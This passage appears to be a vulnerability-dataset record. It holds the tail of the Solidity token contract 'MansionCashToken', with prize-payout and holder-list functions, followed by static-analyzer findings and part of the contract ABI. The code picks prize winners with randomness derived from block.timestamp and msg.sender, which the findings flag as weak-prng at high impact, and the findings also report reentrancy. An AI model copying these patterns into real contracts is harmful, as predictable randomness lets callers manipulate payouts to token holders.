uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, seed))) % lastEntryAllowed; bigPrizeEligibleEntity = getEntity(randNum, false); } address bigPrizeEligibleAddress = bigPrizeEligibleEntity._key; mansionFund = mansionFund.sub(largePrize); _balance[bigPrizeEligibleAddress] = _balance[bigPrizeEligibleAddress].add(largePrize); _balance[address(this)] = _balance[address(this)].sub(largePrize); largePrizeTotal = 0; emit GrandPrizeReceivedAddresses(bigPrizeEligibleAddress, largePrize); return true; } function payoutMediumRedistribution() public onlyOwner() returns (bool success) { require (lastEntryAllowed != 0, "MANSION must be initiated before this function can be called."); // Should be executed after grand prize is received uint256 mediumPrize = mediumPrizeTotal; uint256 eligibleHolderCount = 100; uint256 totalDisbursed = 0; uint256 seed = 48; address[] memory eligibleAddresses = new address[](100); uint8 counter = 0; // Not likely scenarios where there are less than 100 eligible accounts if (lastEntryAllowed <= 100) { // If eligible acccount counts are less than 100, evenly split eligibleHolderCount = lastEntryAllowed; mediumPrize = mediumPrize.div(eligibleHolderCount); while (counter < eligibleHolderCount) { if (indexToEntity[counter + 1]._isValid) { eligibleAddresses[counter] = indexToEntity[counter + 1]._key; totalDisbursed = totalDisbursed.add(mediumPrize); _balance[indexToEntity[counter + 1]._key] = _balance[indexToEntity[counter + 1]._key].add(mediumPrize); counter++; } seed = seed.add(1); } mansionFund = mansionFund.sub(totalDisbursed); _balance[address(this)] = _balance[address(this)].sub(totalDisbursed); // This may be different from totalDisbursed depending on number of eligible accounts. // The primary use of this attribute is more of a flag to indicate the medium prize is disbursed fully. mediumPrizeTotal = 0; emit MediumPrizeReceivedAddresses(eligibleAddresses, mediumPrize); return true; } mediumPrize = mediumPrize.div(eligibleHolderCount); // Max iteration should never be comparably larger than 100 due to how the addresses and indexes are used. while (counter < eligibleHolderCount) { // Uses random number generator from timestamp. However, nobody should know what order addresses are stored due to shffle uint randNum = uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, seed))) % lastEntryAllowed; if (indexToEntity[randNum]._isValid) { eligibleAddresses[counter] = indexToEntity[randNum]._key; totalDisbursed = totalDisbursed.add(mediumPrize); _balance[indexToEntity[randNum]._key] = _balance[indexToEntity[randNum]._key].add(mediumPrize); counter++; } seed = seed.add(1); } mansionFund = mansionFund.sub(totalDisbursed); _balance[address(this)] = _balance[address(this)].sub(totalDisbursed); // This may be different from totalDisbursed depending on number of eligible accounts. // The primary use of this attribute is more of a flag to indicate the medium prize is disbursed fully. mediumPrizeTotal = 0; emit MediumPrizeReceivedAddresses(eligibleAddresses, mediumPrize); return true; } function payoutSmallRedistribution(uint256 startIndex) public onlyOwner() returns (bool success) { require (lastEntryAllowed != 0 && startIndex > 0, "Medium prize must be disbursed before this one"); uint256 rewardAmount = smallPrizeTotal.div(lastEntryAllowed); uint256 totalDisbursed = 0; for (uint256 i = startIndex; i < startIndex + perBatchSize; i++) { if (mansionFund < rewardAmount) { break; } // Timestamp being used to prevent duplicate rewards if (indexToEntity[i]._isValid == true) { _balance[indexToEntity[i]._key] = _balance[indexToEntity[i]._key].add(rewardAmount); totalDisbursed = totalDisbursed.add(rewardAmount); } if (i == lastEntryAllowed) { emit SmallPrizePayoutComplete(rewardAmount); smallPrizeTotal = 0; break; } } mansionFund = mansionFund.sub(totalDisbursed); _balance[address(this)] = _balance[address(this)].sub(totalDisbursed); return true; } function EndMansion() public onlyOwner returns (bool success) { // Checking this equates to ALL redistribution events are completed. require (lastEntryAllowed != 0, "All prizes must be disbursed before being able to close MANSION"); smallPrizeTotal = 0; mediumPrizeTotal = 0; largePrizeTotal = 0; lastEntryAllowed = 0; return true; } // --- Section 5 --- function addEntity (address walletAddress) private { if (addressToIndex[walletAddress] != 0) { return; } uint256 index = lastIndexUsed.add(1); indexToEntity[index] = Entity({ _key: walletAddress, _isValid: true, _createdAt: block.timestamp }); addressToIndex[walletAddress] = index; lastIndexUsed = index; } function removeEntity (address walletAddress) private { if (addressToIndex[walletAddress] == 0) { return; } uint256 index = addressToIndex[walletAddress]; addressToIndex[walletAddress] = 0; if (index != lastIndexUsed) { indexToEntity[index] = indexToEntity[lastIndexUsed]; addressToIndex[indexToEntity[lastIndexUsed]._key] = index; } indexToEntity[lastIndexUsed]._isValid = false; lastIndexUsed = lastIndexUsed.sub(1); } function shuffleEntities(uint256 intA, uint256 intB) private { // Interval of 1 to lastIndexUsed - 1 intA = intA.mod(lastIndexUsed - 1) + 1; intB = intB.mod(lastIndexUsed - 1) + 1; Entity memory entityA = indexToEntity[intA]; Entity memory entityB = indexToEntity[intB]; if (entityA._isValid && entityB._isValid) { addressToIndex[entityA._key] = intB; addressToIndex[entityB._key] = intA; indexToEntity[intA] = entityB; indexToEntity[intB] = entityA; } } function getEntityListLength () public view returns (uint256) { return lastIndexUsed; } function getEntity (uint256 index, bool shouldReject) private view returns (Entity memory) { if (shouldReject == true) { require(index <= getEntityListLength(), "Index out of range"); } return indexToEntity[index]; } function getEntityTimeStamp (address walletAddress) public view returns (uint256) { require (addressToIndex[walletAddress] != 0, "Empty!"); return indexToEntity[addressToIndex[walletAddress]]._createdAt; } }
[]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [401]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [548, 549, 550, 551]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1098]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1157]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1093]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [1272]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [1096]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [1190]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [721]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [730]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [722]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [735]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [723]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [736]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [734]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1196]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [214, 215, 216, 217, 218, 219]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [421, 422, 423, 424, 425, 426, 427]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [472, 473, 474]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [226, 227, 228, 229, 230, 231]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [531, 532, 533, 534, 535, 536, 537]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [521, 522, 523]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [172, 173, 174, 175, 176, 177, 178]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [363, 364, 365, 366, 367, 368]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [482, 483, 484, 485, 486, 487, 488, 489]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [341, 342, 343, 344, 345, 346]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [19, 20, 21, 22]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [497, 498, 499]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 539, 540, 541, 542, 543]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [185, 186, 187, 188, 189, 190]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [394, 395, 396, 397, 398, 399, 400, 401, 402, 403]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [457, 458, 459]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [512, 513, 507, 508, 509, 510, 511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [448, 449, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [906, 907, 908, 909]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [144, 145, 146, 147]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [848, 845, 846, 847]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [893, 894, 895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [861, 862, 863]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [897, 898, 899]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [825, 826, 827]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [928, 929, 930, 931, 932, 933, 923, 924, 925, 926, 927]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [904, 901, 902, 903]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [153, 154, 155, 156, 157]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [850, 851, 852, 853]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [1216, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [837, 838, 839]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [855, 856, 857, 858, 859]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [915, 916, 917]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [865, 866, 867, 868]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [920, 921, 919]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [1280, 1281, 1278, 1279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [912, 913, 911]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [829, 830, 831]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [872, 873, 870, 871]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [833, 834, 835]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MansionCashToken.sol": [877, 878, 879, 880, 881, 882, 883, 884, 885, 886]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"MansionCashToken.sol": [125, 126, 127]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"MansionCashToken.sol": [125, 126, 127]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [535]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [425]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [511]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [487]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [916]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [912]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [1216, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [901]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [906]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [562]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"MansionCashToken.sol": [14, 15, 16, 17, 18, 19, 20, 21, 22, 23]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [989]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1247]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [989]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1056]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [857]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1029]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [945]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [568]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1273]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"MansionCashToken.sol": [1258]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"MansionCashToken.sol": [728]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MansionCashToken.sol": [973, 974, 975, 976, 977, 978, 979, 980]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 808, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 146, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 845, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 901, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 906, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 911, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 915, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 919, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 109, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 721, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 722, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 723, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 725, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 726, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 728, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 729, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 730, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 731, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 742, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 743, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 744, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 758, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 759, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 760, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 761, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 717, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 394, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 172, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 185, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 197, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 214, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 226, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 573, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 581, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 590, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 598, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 608, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 617, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 19, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 116, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 421, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 618, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 625, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 632, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 636, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 639, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 642, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 674, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 681, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 687, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 421, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 421, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 422, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 422, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 422, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 422, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 425, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 425, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 425, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 621, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 622, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 623, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 624, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 628, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 629, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 630, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 631, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 632, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 632, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 632, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 635, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 636, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 636, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 636, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 638, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 639, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 639, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 639, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 641, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 642, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 642, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 642, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 645, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 677, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 678, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 679, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 683, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 684, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 685, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 690, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 691, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 692, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 746, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 966, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"addressReceived","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"GrandPrizeReceivedAddresses","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"addressesReceived","type":"address[]"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MediumPrizeReceivedAddresses","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"recepient","type":"address"},{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"OperationalFundWithdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"SmallPrizePayoutComplete","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"largePrizeTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"mediumPrizeTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"lowPrizeTotal","type":"uint256"}],"name":"StartMansion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"TransactionFeeEnableUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EndMansion","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnableFund","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnableFundRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCommunityMansionCashFund","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getEntityListLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletAddress","type":"address"}],"name":"getEntityTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxTxnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getminHoldingThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mansionFund","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mansionTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationalFund","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationalFundRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type